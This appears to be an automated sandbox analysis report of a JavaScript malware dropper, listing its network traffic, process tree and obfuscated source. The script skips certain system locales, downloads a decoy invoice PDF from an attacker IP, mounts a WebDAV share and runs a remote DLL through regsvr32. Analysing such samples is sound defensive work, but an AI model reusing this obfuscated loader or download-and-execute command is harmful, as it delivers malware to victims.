Jan 10, 2025 23:54:08.763602018 CET	1.1.1.1	192.168.2.10	0xc8ff	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 23:54:09.471164942 CET	1.1.1.1	192.168.2.10	0x4950	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:54:09.471164942 CET	1.1.1.1	192.168.2.10	0x4950	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.10	49712	193.143.1.205	80	8104	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:53:58.160712004 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 23:53:58.928425074 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 22:53:58 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 23:53:58.928447962 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 23:53:58.928467989 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 10, 2025 23:53:58.928565025 CET	672	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 10, 2025 23:53:58.928592920 CET	1236	IN	Data Raw: 86 de 06 c7 86 12 43 a7 33 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b a7 70 60 68 1f 43 d3 81 a1 4f b7 26 86 9e 36 31 74 70 60 e8 db cb 2e 86 36 a7 85 b6 63 a1 cf ce 9f f7 8f b6 87 a6 e1 d0 cb 37 2f fd b1 a1 77 dd b1 a1 6d 0c Data Ascii: C3`\|d1;p`hCO&61tp`.6c7/wmM1~CrlvM}s_,%hLT]}lbu:0904zpap`}{+76z96tCoN%$)1&C{u`')6^
Jan 10, 2025 23:53:58.928607941 CET	1236	IN	Data Raw: 28 1d 18 fa a9 3f 30 d4 c5 d0 cb 26 86 9e 9f 35 31 f4 24 8c a1 af 87 31 b4 ef a1 a9 84 a6 1d b9 e5 18 7a da c6 d0 8b 14 43 af 9a 18 7a 7b db 1f 1b da c6 d0 47 13 43 19 0e dd 9e a9 6f 4e 00 00 00 d3 e0 8b 25 00 d8 4d 95 f7 e7 55 d2 c9 5a ae 24 17 Data Ascii: (?0&51$1zCz{GCoN%MUZ$M>la\yU.cZjW]g`Z^]~5W-qIae6d[&>+LW1:7zb7+Cz^m}Pwl(1t9L/`j5w.\y,Z*
Jan 10, 2025 23:53:58.928622961 CET	1236	IN	Data Raw: 8f 6e 8f 0e 06 31 f4 fd db 4b d9 94 9b 86 43 75 0f 6d 67 42 bb b1 50 15 43 af 25 86 1e 06 31 f4 e1 fa ea f1 e6 e6 b1 1c 43 39 36 74 5b a6 be 39 01 00 00 4c 83 2f 96 00 60 5a e1 5d b7 e6 9b f3 8f 63 72 df a8 af cc 04 7f 8e 0d 84 86 19 d4 d7 cf 1b Data Ascii: n1KCumgBPC%1C96t[9L/`Z]crZia)seh*w6K_CU^\|.%2F'Zrr%cAvtN{QF?X<0!t{&1qC
Jan 10, 2025 23:53:58.928638935 CET	1236	IN	Data Raw: 53 d0 0a 9f 26 95 9f 29 77 99 43 4e 6b 4a 56 f9 e9 ca 85 e3 f0 a5 ac ff 79 00 79 26 f5 73 58 f3 93 00 26 e4 95 33 68 65 a5 ad 7f f3 9b 57 f3 29 3a 10 36 a7 f2 75 cc 15 c9 ca a8 5d ce a0 a3 ef 1f 79 e7 94 17 08 fb 37 12 3d 14 c0 84 16 8a 23 f8 dc Data Ascii: S&)wCNkJVyy&sX&3heW):6u]y7=#,x`hM=C?1t8<%?04GCzZheSL}s_,{1000hJ[j\|~p%dP@S<88}zJa4"Dsrz4 msJ'9+)sUjcfV
Jan 10, 2025 23:53:58.928654909 CET	896	IN	Data Raw: 92 44 53 97 31 23 a2 fe f8 4e 5d 45 cd 3c a0 3c 5d 61 70 2c 54 aa 9a 49 55 9f 65 fd 98 6a 39 4e 99 ab 2a b7 33 7d 49 fa 99 a9 ac b4 3a 89 e6 42 6d b8 f7 d8 3f 63 72 79 9a 4c 3b 86 4f 57 b9 87 96 d7 ab 16 c6 09 47 7b 6e 39 63 d5 3c 57 35 ed d8 7f Data Ascii: DS1#N]E<<]ap,TIUej9N*3}I:Bm?cryL;OWG{n9c<W5.3}edy7Wzh8x3h_A#:7{AknkSccbCzchCv1tCOO177O1M5`\|o>%kP/f#
Jan 10, 2025 23:53:58.928673983 CET	1236	IN	Data Raw: 67 85 4b f2 95 36 b7 c8 74 d1 29 42 53 42 25 9c f9 a5 c7 9a ce b5 e1 d3 e5 7b 68 61 7a 4e 27 d1 9a c5 aa f5 25 ab e6 07 06 cc 88 e8 e8 14 ad 2e a1 f2 06 93 27 4a 8f 45 ff a2 e8 b1 68 49 a2 e9 95 ad 7c b3 5d 0d 85 6f 36 df b5 c3 37 5b ee 05 35 d7 Data Ascii: gK6t)BSB%{hazN'%.'JEhI\|]o67[5tEMN@h6wthe8vJXAuzV{<z8gqc0X-07~$3G{hI0 ?ASw$Ut#*G
Jan 10, 2025 23:53:58.934185028 CET	888	IN	Data Raw: 66 9c b0 5c 8b 7c 0f f5 43 85 e1 de e6 5c c9 d2 e4 a7 05 fc 4c 5f f9 44 4e dd ce 64 95 ab fc 8e 85 cf 82 94 41 bf 6b e9 d5 d0 7a 3b 74 7a f6 e4 a9 2b bc e1 73 d9 7d f4 50 5a 5d 42 6b 5e cd ca 33 7c 17 ba b1 f8 2d b5 61 5c f6 23 f0 69 1e 33 bd 7c Data Ascii: f\\|C\L_DNdAkz;tz+s}PZ]Bk^3\|-a\#i3\|2GsrGKhd@B oZ-n1<0Czrkb~:WcQwlhCv[1`\|z3<OhNiB$qi,45WqR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.10	49728	193.143.1.205	8888	1184	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:54:00.391331911 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 23:54:01.186366081 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 22:54:01 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	5
Start time:	17:53:54
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\27458284801797225280.js"
Imagebase:	0x7ff70b8c0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	17:53:54
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\278593195329046.dll
Imagebase:	0x7ff7be300000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	17:53:54
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff620390000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	17:53:54
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff7b2bb0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	17:53:59
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff64eb90000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	17:53:59
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7be300000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	17:53:59
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7c8a20000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	17:54:00
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff63ec50000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	17:54:00
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7df220000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	17:54:00
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2088 --field-trial-handle=1748,i,15192425314672313782,17790185833074286355,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff63ec50000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function lrduro() {	lrduro() ➔ undefined
1	hlihekb = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var fzdbencln = this[hjhzcatb + kmqoofy + nybhos + eebvnf + dkeyapex + swpkjgt + xxthxkng + tszpk] ( this[krnitn + vcwxikr + hihuzwcar + nybhos + jyebn + hjhzcatb + tszpk][icgwb + nybhos + dkeyapex + kmqoofy + tszpk + dkeyapex + tkqswali + clgcfo + yadds + dkeyapex + hihuzwcar + tszpk] ( krnitn + vcwxikr + hihuzwcar + nybhos + jyebn + hjhzcatb + tszpk + ghzvy + vcwxikr + opyjx + dkeyapex + qjgdbtsf + qjgdbtsf ) [diotdgh + dkeyapex + rziio + diotdgh + dkeyapex + kmqoofy + jmezlisk] ( tqykhbqsj + fekihj + dqggkune + qtrewgxzo + cnsjmjmfq + icgwb + fktbrmz + diotdgh + diotdgh + dqggkune + faltvd + vedxl + cnsjmjmfq + fktbrmz + vcwxikr + dqggkune + diotdgh + dptkya + icgwb + epxev + xxthxkng + tszpk + nybhos + epxev + qjgdbtsf + rtecjx + tmcswufd + kmqoofy + xxthxkng + dkeyapex + qjgdbtsf + dptkya + swpkjgt + xxthxkng + tszpk + dkeyapex + nybhos + xxthxkng + kmqoofy + tszpk + jyebn + epxev + xxthxkng + kmqoofy + qjgdbtsf + dptkya + aulpnl + epxev + hihuzwcar + kmqoofy + qjgdbtsf + dkeyapex ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( myrqtyen = 0 ; myrqtyen < hlihekb[qjgdbtsf + dkeyapex + xxthxkng + rziio + tszpk + opyjx] ; ++ myrqtyen )
4	{
5	if ( fzdbencln == hlihekb[myrqtyen] )
6	{
7	fzdbencln = true;
8	break ;
9	}
10	}
11	if ( fzdbencln !== true )
12	this[krnitn + vcwxikr + hihuzwcar + nybhos + jyebn + hjhzcatb + tszpk][jujztvb + gbhfisq + jyebn + tszpk] ( );
13	this[krnitn + vcwxikr + hihuzwcar + nybhos + jyebn + hjhzcatb + tszpk][icgwb + nybhos + dkeyapex + kmqoofy + tszpk + dkeyapex + tkqswali + clgcfo + yadds + dkeyapex + hihuzwcar + tszpk] ( krnitn + vcwxikr + hihuzwcar + nybhos + jyebn + hjhzcatb + tszpk + ghzvy + vcwxikr + opyjx + dkeyapex + qjgdbtsf + qjgdbtsf ) [nybhos + gbhfisq + xxthxkng] ( hihuzwcar + wrkhot + jmezlisk + rtecjx + qgtmfutcz + hihuzwcar + rtecjx + hjhzcatb + epxev + wykou + dkeyapex + nybhos + eebvnf + opyjx + dkeyapex + qjgdbtsf + qjgdbtsf + ghzvy + dkeyapex + kleweq + dkeyapex + rtecjx + jdsfmb + icgwb + epxev + wrkhot + wrkhot + kmqoofy + xxthxkng + jmezlisk + rtecjx + favqbzm + swpkjgt + xxthxkng + gmkhjkk + epxev + pljpplqpk + dkeyapex + jdsfmb + krnitn + dkeyapex + clgcfo + diotdgh + dkeyapex + sbxswkfqc + gbhfisq + dkeyapex + eebvnf + tszpk + rtecjx + jdsfmb + tkqswali + gbhfisq + tszpk + lszwnbh + jyebn + qjgdbtsf + dkeyapex + rtecjx + nttcsoux + tszpk + dkeyapex + wrkhot + hjhzcatb + nttcsoux + dptkya + jyebn + xxthxkng + gmkhjkk + epxev + jyebn + hihuzwcar + dkeyapex + ghzvy + hjhzcatb + jmezlisk + uogwvy + rtecjx + opyjx + tszpk + tszpk + hjhzcatb + uhhlufhhz + qgtmfutcz + qgtmfutcz + cvwhsiy + radnby + qlxcrjq + ghzvy + cvwhsiy + phsauir + qlxcrjq + ghzvy + cvwhsiy + ghzvy + uvpoizs + orydr + wsowwlu + qgtmfutcz + jyebn + xxthxkng + gmkhjkk + epxev + jyebn + hihuzwcar + dkeyapex + ghzvy + hjhzcatb + opyjx + hjhzcatb + favqbzm + dkixzecb + dkixzecb + eebvnf + tszpk + kmqoofy + nybhos + tszpk + rtecjx + nttcsoux + tszpk + dkeyapex + wrkhot + hjhzcatb + nttcsoux + dptkya + jyebn + xxthxkng + gmkhjkk + epxev + jyebn + hihuzwcar + dkeyapex + ghzvy + hjhzcatb + jmezlisk + uogwvy + dkixzecb + dkixzecb + hihuzwcar + wrkhot + jmezlisk + rtecjx + qgtmfutcz + hihuzwcar + rtecjx + xxthxkng + dkeyapex + tszpk + rtecjx + gbhfisq + eebvnf + dkeyapex + rtecjx + dptkya + dptkya + cvwhsiy + radnby + qlxcrjq + ghzvy + cvwhsiy + phsauir + qlxcrjq + ghzvy + cvwhsiy + ghzvy + uvpoizs + orydr + wsowwlu + jojmfr + obtqtoyh + obtqtoyh + obtqtoyh + obtqtoyh + dptkya + jmezlisk + kmqoofy + gmkhjkk + wykou + wykou + wykou + nybhos + epxev + epxev + tszpk + dptkya + dkixzecb + dkixzecb + hihuzwcar + wrkhot + jmezlisk + rtecjx + qgtmfutcz + hihuzwcar + rtecjx + nybhos + dkeyapex + rziio + eebvnf + gmkhjkk + nybhos + qlxcrjq + uvpoizs + rtecjx + qgtmfutcz + eebvnf + rtecjx + dptkya + dptkya + cvwhsiy + radnby + qlxcrjq + ghzvy + cvwhsiy + phsauir + qlxcrjq + ghzvy + cvwhsiy + ghzvy + uvpoizs + orydr + wsowwlu + jojmfr + obtqtoyh + obtqtoyh + obtqtoyh + obtqtoyh + dptkya + jmezlisk + kmqoofy + gmkhjkk + wykou + wykou + wykou + nybhos + epxev + epxev + tszpk + dptkya + uvpoizs + mcgnly + obtqtoyh + wsowwlu + radnby + qlxcrjq + cvwhsiy + radnby + wsowwlu + qlxcrjq + uvpoizs + radnby + orydr + phsauir + btrxseabr + ghzvy + jmezlisk + qjgdbtsf + qjgdbtsf, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\278593195329046.dll",0,false) ➔ 0
14	}
15	hihuzwcar = "R";
16	hihuzwcar = "q";
17	hihuzwcar = "u";
18	hihuzwcar = "A";
19	hihuzwcar = "m";
20	hihuzwcar = "v";
21	hihuzwcar = "J";
22	hihuzwcar = "B";
23	hihuzwcar = "Z";
24	hihuzwcar = "L";
25	hihuzwcar = "y";
26	hihuzwcar = "y";
27	hihuzwcar = "e";
28	hihuzwcar = "e";
29	hihuzwcar = "B";
30	hihuzwcar = "C";
31	hihuzwcar = "t";
32	hihuzwcar = "g";
33	hihuzwcar = "K";
34	hihuzwcar = "F";
35	hihuzwcar = "i";
36	hihuzwcar = "l";
37	hihuzwcar = "P";
38	hihuzwcar = "p";
39	hihuzwcar = "s";
40	hihuzwcar = "m";
41	hihuzwcar = "x";
42	hihuzwcar = "p";
43	hihuzwcar = "X";
44	hihuzwcar = "H";
45	hihuzwcar = "o";
46	hihuzwcar = "X";
47	hihuzwcar = "C";
48	hihuzwcar = "D";
49	hihuzwcar = "f";
50	hihuzwcar = "c";
51	cnsjmjmfq = "z";
52	cnsjmjmfq = "T";
53	cnsjmjmfq = "L";
54	cnsjmjmfq = "V";
55	cnsjmjmfq = "N";
56	cnsjmjmfq = "m";
57	cnsjmjmfq = "E";
58	cnsjmjmfq = "X";
59	cnsjmjmfq = "B";
60	cnsjmjmfq = "k";
61	cnsjmjmfq = "_";
62	dqggkune = "A";
63	dqggkune = "O";
64	dqggkune = "m";
65	dqggkune = "E";
66	dqggkune = "I";
67	dqggkune = "v";
68	dqggkune = "N";
69	dqggkune = "U";
70	dqggkune = "x";
71	dqggkune = "Y";
72	dqggkune = "J";
73	dqggkune = "k";
74	dqggkune = "L";
75	dqggkune = "E";
76	gbhfisq = "u";
77	gbhfisq = "m";
78	gbhfisq = "R";
79	gbhfisq = "c";
80	gbhfisq = "X";
81	gbhfisq = "w";
82	gbhfisq = "x";
83	gbhfisq = "H";
84	gbhfisq = "U";
85	gbhfisq = "z";
86	gbhfisq = "g";
87	gbhfisq = "s";
88	gbhfisq = "b";
89	gbhfisq = "d";
90	gbhfisq = "u";
91	uhhlufhhz = "m";
92	uhhlufhhz = "a";
93	uhhlufhhz = "s";
94	uhhlufhhz = "O";
95	uhhlufhhz = "X";
96	uhhlufhhz = "J";
97	uhhlufhhz = "t";
98	uhhlufhhz = "M";
99	uhhlufhhz = "U";
100	uhhlufhhz = "A";
101	uhhlufhhz = "p";
102	uhhlufhhz = "C";
103	uhhlufhhz = "b";
104	uhhlufhhz = "s";
105	uhhlufhhz = "a";
106	uhhlufhhz = "U";
107	uhhlufhhz = ":";
108	btrxseabr = "I";
109	btrxseabr = "v";
110	btrxseabr = "A";
111	btrxseabr = "g";
112	btrxseabr = "A";
113	btrxseabr = "U";
114	btrxseabr = "i";
115	btrxseabr = "m";
116	btrxseabr = "V";
117	btrxseabr = "U";
118	btrxseabr = "s";
119	btrxseabr = "6";
120	nybhos = "z";
121	nybhos = "P";
122	nybhos = "p";
123	nybhos = "i";
124	nybhos = "g";
125	nybhos = "N";
126	nybhos = "Q";
127	nybhos = "H";
128	nybhos = "r";
129	jujztvb = "T";
130	jujztvb = "Y";
131	jujztvb = "q";
132	jujztvb = "r";
133	jujztvb = "N";
134	jujztvb = "F";
135	jujztvb = "g";
136	jujztvb = "z";
137	jujztvb = "k";
138	jujztvb = "C";
139	jujztvb = "a";
140	jujztvb = "x";
141	jujztvb = "w";
142	jujztvb = "J";
143	jujztvb = "M";
144	jujztvb = "Q";
145	uogwvy = "i";
146	uogwvy = "u";
147	uogwvy = "h";
148	uogwvy = "t";
149	uogwvy = "o";
150	uogwvy = "L";
151	uogwvy = "m";
152	uogwvy = "i";
153	uogwvy = "D";
154	uogwvy = "r";
155	uogwvy = "t";
156	uogwvy = "X";
157	uogwvy = "r";
158	uogwvy = "M";
159	uogwvy = "b";
160	uogwvy = "j";
161	uogwvy = "H";
162	uogwvy = "A";
163	uogwvy = "f";
164	uogwvy = "E";
165	uogwvy = "q";
166	uogwvy = "H";
167	uogwvy = "z";
168	uogwvy = "f";
169	qgtmfutcz = "L";
170	qgtmfutcz = "G";
171	qgtmfutcz = "Z";
172	qgtmfutcz = "w";
173	qgtmfutcz = "n";
174	qgtmfutcz = "h";
175	qgtmfutcz = "V";
176	qgtmfutcz = "F";
177	qgtmfutcz = "r";
178	qgtmfutcz = "w";
179	qgtmfutcz = "l";
180	qgtmfutcz = "j";
181	qgtmfutcz = "R";
182	qgtmfutcz = "x";
183	qgtmfutcz = "g";
184	qgtmfutcz = "b";
185	qgtmfutcz = "d";
186	qgtmfutcz = "w";
187	qgtmfutcz = "V";
188	qgtmfutcz = "G";
189	qgtmfutcz = "a";
190	qgtmfutcz = "o";
191	qgtmfutcz = "t";
192	qgtmfutcz = "u";
193	qgtmfutcz = "l";
194	qgtmfutcz = "z";
195	qgtmfutcz = "H";
196	qgtmfutcz = "C";
197	qgtmfutcz = "p";
198	qgtmfutcz = "I";
199	qgtmfutcz = "m";
200	qgtmfutcz = "M";
201	qgtmfutcz = "A";
202	qgtmfutcz = "E";
203	qgtmfutcz = "d";
204	qgtmfutcz = "/";
205	pljpplqpk = "o";
206	pljpplqpk = "X";
207	pljpplqpk = "N";
208	pljpplqpk = "I";
209	pljpplqpk = "J";
210	pljpplqpk = "k";
211	ghzvy = "S";
212	ghzvy = "R";
213	ghzvy = "b";
214	ghzvy = ".";
215	lszwnbh = "x";
216	lszwnbh = "B";
217	lszwnbh = "l";
218	lszwnbh = "P";
219	lszwnbh = "p";
220	lszwnbh = "J";
221	lszwnbh = "V";
222	lszwnbh = "R";
223	lszwnbh = "B";
224	lszwnbh = "l";
225	lszwnbh = "i";
226	lszwnbh = "S";
227	lszwnbh = "Z";
228	lszwnbh = "y";
229	lszwnbh = "L";
230	lszwnbh = "s";
231	lszwnbh = "F";
232	kmqoofy = "k";
233	kmqoofy = "u";
234	kmqoofy = "H";
235	kmqoofy = "d";
236	kmqoofy = "Z";
237	kmqoofy = "X";
238	kmqoofy = "Y";
239	kmqoofy = "h";
240	kmqoofy = "X";
241	kmqoofy = "j";
242	kmqoofy = "Y";
243	kmqoofy = "w";
244	kmqoofy = "G";
245	kmqoofy = "D";
246	kmqoofy = "e";
247	kmqoofy = "d";
248	kmqoofy = "N";
249	kmqoofy = "K";
250	kmqoofy = "E";
251	kmqoofy = "v";
252	kmqoofy = "d";
253	kmqoofy = "O";
